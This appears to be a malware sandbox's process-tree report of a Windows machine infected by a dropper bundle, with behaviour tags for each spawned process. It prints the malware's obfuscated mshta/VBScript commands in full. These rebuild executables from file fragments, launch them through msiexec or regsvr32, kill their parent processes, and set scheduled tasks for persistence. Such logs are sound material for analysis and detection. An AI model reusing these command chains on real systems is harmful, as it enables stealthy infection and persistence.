C:\Users\Admin\Pictures\Adobe Films\Rk5Q2GiLAWwnXHDIUz01H0AG.exe"C:\Users\Admin\Pictures\Adobe Films\Rk5Q2GiLAWwnXHDIUz01H0AG.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
-
C:\Users\Admin\Pictures\Adobe Films\lsSqwfSvSmF54texYm5qF8ia.exe"C:\Users\Admin\Pictures\Adobe Films\lsSqwfSvSmF54texYm5qF8ia.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5948 -s 2408⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Users\Admin\Pictures\Adobe Films\clfbSpWLD2CJoM5GOwy4QaBD.exe"C:\Users\Admin\Pictures\Adobe Films\clfbSpWLD2CJoM5GOwy4QaBD.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"8⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5940 -s 4208⤵
- Program crash
-
-
-
C:\Users\Admin\Pictures\Adobe Films\VRWE9K9__LZJPpbVRmx6AIMw.exe"C:\Users\Admin\Pictures\Adobe Films\VRWE9K9__LZJPpbVRmx6AIMw.exe"7⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Pictures\Adobe Films\fqlpZNsFh4kA4WxcOEJZqVQi.exe"C:\Users\Admin\Pictures\Adobe Films\fqlpZNsFh4kA4WxcOEJZqVQi.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\fqlpZNsFh4kA4WxcOEJZqVQi.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\fqlpZNsFh4kA4WxcOEJZqVQi.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\fqlpZNsFh4kA4WxcOEJZqVQi.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\fqlpZNsFh4kA4WxcOEJZqVQi.exe" ) do taskkill -im "%~NxK" -F9⤵
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP10⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F12⤵
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ( "WSCRIPt.SheLl" ). rUn ( "C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " , 0 , TruE ) )11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "13⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"13⤵
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y .\N3V4H8H.SXY13⤵
- Loads dropped DLL
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "fqlpZNsFh4kA4WxcOEJZqVQi.exe" -F10⤵
- Kills process with taskkill
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\jsUMN8a889QiynkDKYMQvUbZ.exe"C:\Users\Admin\Pictures\Adobe Films\jsUMN8a889QiynkDKYMQvUbZ.exe"7⤵
- Executes dropped EXE
-
C:\ProgramData\6272973.exe"C:\ProgramData\6272973.exe"8⤵
-
-
C:\ProgramData\7380724.exe"C:\ProgramData\7380724.exe"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\ProgramData\6556478.exe"C:\ProgramData\6556478.exe"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\ProgramData\7256492.exe"C:\ProgramData\7256492.exe"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
- Enumerates system info in registry
-
-
C:\ProgramData\8451708.exe"C:\ProgramData\8451708.exe"8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPT: cLOse ( CreaTEOBjeCt ( "WsCRiPT.sHelL" ). RUn ( "C:\Windows\system32\cmd.exe /Q /c tYpe ""C:\ProgramData\8451708.exe"" > seV03VBOUIE.eXe&& StArt sev03VbOUie.exe -POVwq7z4ndmK6x4P & if """" == """" for %N In (""C:\ProgramData\8451708.exe"" ) do taskkill -IM ""%~nxN"" /F" , 0 , TrUE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /Q /c tYpe "C:\ProgramData\8451708.exe" > seV03VBOUIE.eXe&& StArt sev03VbOUie.exe -POVwq7z4ndmK6x4P & if "" == "" for %N In ("C:\ProgramData\8451708.exe" ) do taskkill -IM "%~nxN" /F10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -IM "8451708.exe" /F11⤵
- Kills process with taskkill
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\if9ODx4IpniS6QRMNhGEirH_.exe"C:\Users\Admin\Pictures\Adobe Films\if9ODx4IpniS6QRMNhGEirH_.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\is-51H8E.tmp\if9ODx4IpniS6QRMNhGEirH_.tmp"C:\Users\Admin\AppData\Local\Temp\is-51H8E.tmp\if9ODx4IpniS6QRMNhGEirH_.tmp" /SL5="$401E8,506127,422400,C:\Users\Admin\Pictures\Adobe Films\if9ODx4IpniS6QRMNhGEirH_.exe"8⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\is-DTJRA.tmp\ShareFolder.exe"C:\Users\Admin\AppData\Local\Temp\is-DTJRA.tmp\ShareFolder.exe" /S /UID=27109⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Program Files\Windows Defender\HYRYNEANOS\foldershare.exe"C:\Program Files\Windows Defender\HYRYNEANOS\foldershare.exe" /VERYSILENT10⤵
-
-
C:\Users\Admin\AppData\Local\Temp\71-77d59-8f9-c49ad-b6fe3318e31fb\ZHapysolama.exe"C:\Users\Admin\AppData\Local\Temp\71-77d59-8f9-c49ad-b6fe3318e31fb\ZHapysolama.exe"10⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e611⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff86f1146f8,0x7ff86f114708,0x7ff86f11471812⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,11324174076081423283,12458050538405211382,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2188 /prefetch:212⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2132,11324174076081423283,12458050538405211382,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2664 /prefetch:812⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2132,11324174076081423283,12458050538405211382,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 /prefetch:312⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11324174076081423283,12458050538405211382,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3468 /prefetch:112⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11324174076081423283,12458050538405211382,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:112⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11324174076081423283,12458050538405211382,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5212 /prefetch:112⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\78-8bfaf-86b-92ab1-822b07e499385\SHohydiqone.exe"C:\Users\Admin\AppData\Local\Temp\78-8bfaf-86b-92ab1-822b07e499385\SHohydiqone.exe"10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kiaxmacw.12e\GcleanerEU.exe /eufive & exit11⤵
-
C:\Users\Admin\AppData\Local\Temp\kiaxmacw.12e\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\kiaxmacw.12e\GcleanerEU.exe /eufive12⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\stbx4ggs.2mt\installer.exe /qn CAMPAIGN="654" & exit11⤵
-
C:\Users\Admin\AppData\Local\Temp\stbx4ggs.2mt\installer.exeC:\Users\Admin\AppData\Local\Temp\stbx4ggs.2mt\installer.exe /qn CAMPAIGN="654"12⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1elzo0pq.2cz\any.exe & exit11⤵
-
C:\Users\Admin\AppData\Local\Temp\1elzo0pq.2cz\any.exeC:\Users\Admin\AppData\Local\Temp\1elzo0pq.2cz\any.exe12⤵
-
C:\Users\Admin\AppData\Local\Temp\1elzo0pq.2cz\any.exe"C:\Users\Admin\AppData\Local\Temp\1elzo0pq.2cz\any.exe" -u13⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yry0bzyz.zuz\gcleaner.exe /mixfive & exit11⤵
-
C:\Users\Admin\AppData\Local\Temp\yry0bzyz.zuz\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\yry0bzyz.zuz\gcleaner.exe /mixfive12⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ndghotla.zv0\autosubplayer.exe /S & exit11⤵
- Suspicious use of SetWindowsHookEx
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\22uDNU_kIHntoPMohZCjyJGB.exe"C:\Users\Admin\Pictures\Adobe Films\22uDNU_kIHntoPMohZCjyJGB.exe"7⤵
- Loads dropped DLL
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun0351a0558292.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun0351a0558292.exeSun0351a0558292.exe6⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun03f5d51697d04.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun03f5d51697d04.exeSun03f5d51697d04.exe6⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun0328255c4bce6fb.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun0328255c4bce6fb.exeSun0328255c4bce6fb.exe6⤵
- Executes dropped EXE
-
C:\ProgramData\7536067.exe"C:\ProgramData\7536067.exe"7⤵
- Executes dropped EXE
-
-
C:\ProgramData\6614396.exe"C:\ProgramData\6614396.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\ProgramData\969609.exe"C:\ProgramData\969609.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\ProgramData\8890556.exe"C:\ProgramData\8890556.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\ProgramData\3009686.exe"C:\ProgramData\3009686.exe"7⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPT: cLOse ( CreaTEOBjeCt ( "WsCRiPT.sHelL" ). RUn ( "C:\Windows\system32\cmd.exe /Q /c tYpe ""C:\ProgramData\3009686.exe"" > seV03VBOUIE.eXe&& StArt sev03VbOUie.exe -POVwq7z4ndmK6x4P & if """" == """" for %N In (""C:\ProgramData\3009686.exe"" ) do taskkill -IM ""%~nxN"" /F" , 0 , TrUE ) )8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /Q /c tYpe "C:\ProgramData\3009686.exe" > seV03VBOUIE.eXe&& StArt sev03VbOUie.exe -POVwq7z4ndmK6x4P & if "" == "" for %N In ("C:\ProgramData\3009686.exe" ) do taskkill -IM "%~nxN" /F9⤵
-
C:\Users\Admin\AppData\Local\Temp\seV03VBOUIE.eXesev03VbOUie.exe -POVwq7z4ndmK6x4P10⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPT: cLOse ( CreaTEOBjeCt ( "WsCRiPT.sHelL" ). RUn ( "C:\Windows\system32\cmd.exe /Q /c tYpe ""C:\Users\Admin\AppData\Local\Temp\seV03VBOUIE.eXe"" > seV03VBOUIE.eXe&& StArt sev03VbOUie.exe -POVwq7z4ndmK6x4P & if ""-POVwq7z4ndmK6x4P "" == """" for %N In (""C:\Users\Admin\AppData\Local\Temp\seV03VBOUIE.eXe"" ) do taskkill -IM ""%~nxN"" /F" , 0 , TrUE ) )11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /Q /c tYpe "C:\Users\Admin\AppData\Local\Temp\seV03VBOUIE.eXe" > seV03VBOUIE.eXe&& StArt sev03VbOUie.exe -POVwq7z4ndmK6x4P & if "-POVwq7z4ndmK6x4P " == "" for %N In ("C:\Users\Admin\AppData\Local\Temp\seV03VBOUIE.eXe" ) do taskkill -IM "%~nxN" /F12⤵
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBScrIPt: closE (CreAteObjECt ( "wsCRIPT.sheLl" ). rUn ( "Cmd /R EcHo | Set /P = ""MZ"" > i61_m6.3i &cOPY /B /Y I61_M6.3I + XvVu.W4A+ Z9NNU.Z + W~cD4C.x + g3Fv7XCY.TZG + 4D8yN3.MnJ FMHAm.5Hv & stArT regsvr32 -s FMHAM.5hV " , 0 , TRuE ) )11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R EcHo | Set /P = "MZ" > i61_m6.3i &cOPY /B /Y I61_M6.3I + XvVu.W4A+ Z9NNU.Z + W~cD4C.x + g3Fv7XCY.TZG + 4D8yN3.MnJ FMHAm.5Hv & stArT regsvr32 -s FMHAM.5hV12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "13⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>i61_m6.3i"13⤵
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 -s FMHAM.5hV13⤵
- Loads dropped DLL
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -IM "3009686.exe" /F10⤵
- Kills process with taskkill
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun03ea09aa5c9686e5.exe5⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun038db98f99bf9a.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun038db98f99bf9a.exeSun038db98f99bf9a.exe6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\Pictures\Adobe Films\y7DLsK8JzEfVPXBoAxixfcAY.exe"C:\Users\Admin\Pictures\Adobe Films\y7DLsK8JzEfVPXBoAxixfcAY.exe"7⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Pictures\Adobe Films\YC7lV7ybsOoVcoWfaiMt0tQZ.exe"C:\Users\Admin\Pictures\Adobe Films\YC7lV7ybsOoVcoWfaiMt0tQZ.exe"7⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST8⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST8⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\Documents\FgguE7qT6E0r1SXEtJboJY9V.exe"C:\Users\Admin\Documents\FgguE7qT6E0r1SXEtJboJY9V.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\qT6ZBsyeM67D1cAzYqcc8ZnE.exe"C:\Users\Admin\Pictures\Adobe Films\qT6ZBsyeM67D1cAzYqcc8ZnE.exe"9⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\yCQQKWPj1MNkgCvIHQfdbirb.exe"C:\Users\Admin\Pictures\Adobe Films\yCQQKWPj1MNkgCvIHQfdbirb.exe"9⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6648 -s 23610⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Users\Admin\Pictures\Adobe Films\azz31zByp3ZuPfbVL8a6OGff.exe"C:\Users\Admin\Pictures\Adobe Films\azz31zByp3ZuPfbVL8a6OGff.exe"9⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4904 -s 24010⤵
- Program crash
-
-
-
C:\Users\Admin\Pictures\Adobe Films\W2SfrUCOce0gmSzTA8nOXMcT.exe"C:\Users\Admin\Pictures\Adobe Films\W2SfrUCOce0gmSzTA8nOXMcT.exe"9⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\f_4fB2xOzQ0WOhf7TM09dKNO.exe"C:\Users\Admin\Pictures\Adobe Films\f_4fB2xOzQ0WOhf7TM09dKNO.exe"9⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\mf4Q6YPKmXku_63GQGLz8sTk.exe"C:\Users\Admin\Pictures\Adobe Films\mf4Q6YPKmXku_63GQGLz8sTk.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-KRA72.tmp\mf4Q6YPKmXku_63GQGLz8sTk.tmp"C:\Users\Admin\AppData\Local\Temp\is-KRA72.tmp\mf4Q6YPKmXku_63GQGLz8sTk.tmp" /SL5="$40374,506127,422400,C:\Users\Admin\Pictures\Adobe Films\mf4Q6YPKmXku_63GQGLz8sTk.exe"10⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-LL6FM.tmp\ShareFolder.exe"C:\Users\Admin\AppData\Local\Temp\is-LL6FM.tmp\ShareFolder.exe" /S /UID=270911⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Users\Admin\AppData\Local\Temp\DIZIGHDEWT\foldershare.exe"C:\Users\Admin\AppData\Local\Temp\DIZIGHDEWT\foldershare.exe" /VERYSILENT12⤵
-
-
C:\Users\Admin\AppData\Local\Temp\5a-b5869-c1e-97b85-8200c767cba3e\Jefybyfasa.exe"C:\Users\Admin\AppData\Local\Temp\5a-b5869-c1e-97b85-8200c767cba3e\Jefybyfasa.exe"12⤵
- Suspicious use of SetThreadContext
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e613⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff86f1146f8,0x7ff86f114708,0x7ff86f11471814⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\ea-89d93-9d1-ae986-33653505bd726\Febopegeshu.exe"C:\Users\Admin\AppData\Local\Temp\ea-89d93-9d1-ae986-33653505bd726\Febopegeshu.exe"12⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\asmkmnda.1g4\GcleanerEU.exe /eufive & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\asmkmnda.1g4\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\asmkmnda.1g4\GcleanerEU.exe /eufive14⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dtop5x4n.4ah\installer.exe /qn CAMPAIGN="654" & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\dtop5x4n.4ah\installer.exeC:\Users\Admin\AppData\Local\Temp\dtop5x4n.4ah\installer.exe /qn CAMPAIGN="654"14⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3cjmor33.0i1\any.exe & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\3cjmor33.0i1\any.exeC:\Users\Admin\AppData\Local\Temp\3cjmor33.0i1\any.exe14⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\owusjflz.2ku\gcleaner.exe /mixfive & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\owusjflz.2ku\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\owusjflz.2ku\gcleaner.exe /mixfive14⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hvtd4ad3.prx\autosubplayer.exe /S & exit13⤵
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Omfp7DwTDG5TseZGszRDVDvw.exe"C:\Users\Admin\Pictures\Adobe Films\Omfp7DwTDG5TseZGszRDVDvw.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-ILVUM.tmp\Omfp7DwTDG5TseZGszRDVDvw.tmp"C:\Users\Admin\AppData\Local\Temp\is-ILVUM.tmp\Omfp7DwTDG5TseZGszRDVDvw.tmp" /SL5="$A021C,506127,422400,C:\Users\Admin\Pictures\Adobe Films\Omfp7DwTDG5TseZGszRDVDvw.exe"10⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-RA9HP.tmp\ShareFolder.exe"C:\Users\Admin\AppData\Local\Temp\is-RA9HP.tmp\ShareFolder.exe" /S /UID=271011⤵
- Drops file in Drivers directory
-
C:\Users\Admin\AppData\Local\Temp\0f-7da5c-63d-7cca2-dfddc16a89b07\Hyhizhaevojo.exe"C:\Users\Admin\AppData\Local\Temp\0f-7da5c-63d-7cca2-dfddc16a89b07\Hyhizhaevojo.exe"12⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mmlth1zq.sux\GcleanerEU.exe /eufive & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\mmlth1zq.sux\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\mmlth1zq.sux\GcleanerEU.exe /eufive14⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cyhlh5ow.zxi\installer.exe /qn CAMPAIGN="654" & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\cyhlh5ow.zxi\installer.exeC:\Users\Admin\AppData\Local\Temp\cyhlh5ow.zxi\installer.exe /qn CAMPAIGN="654"14⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\n4ul1fqz.vpc\any.exe & exit13⤵
-
-
-
-
-
-
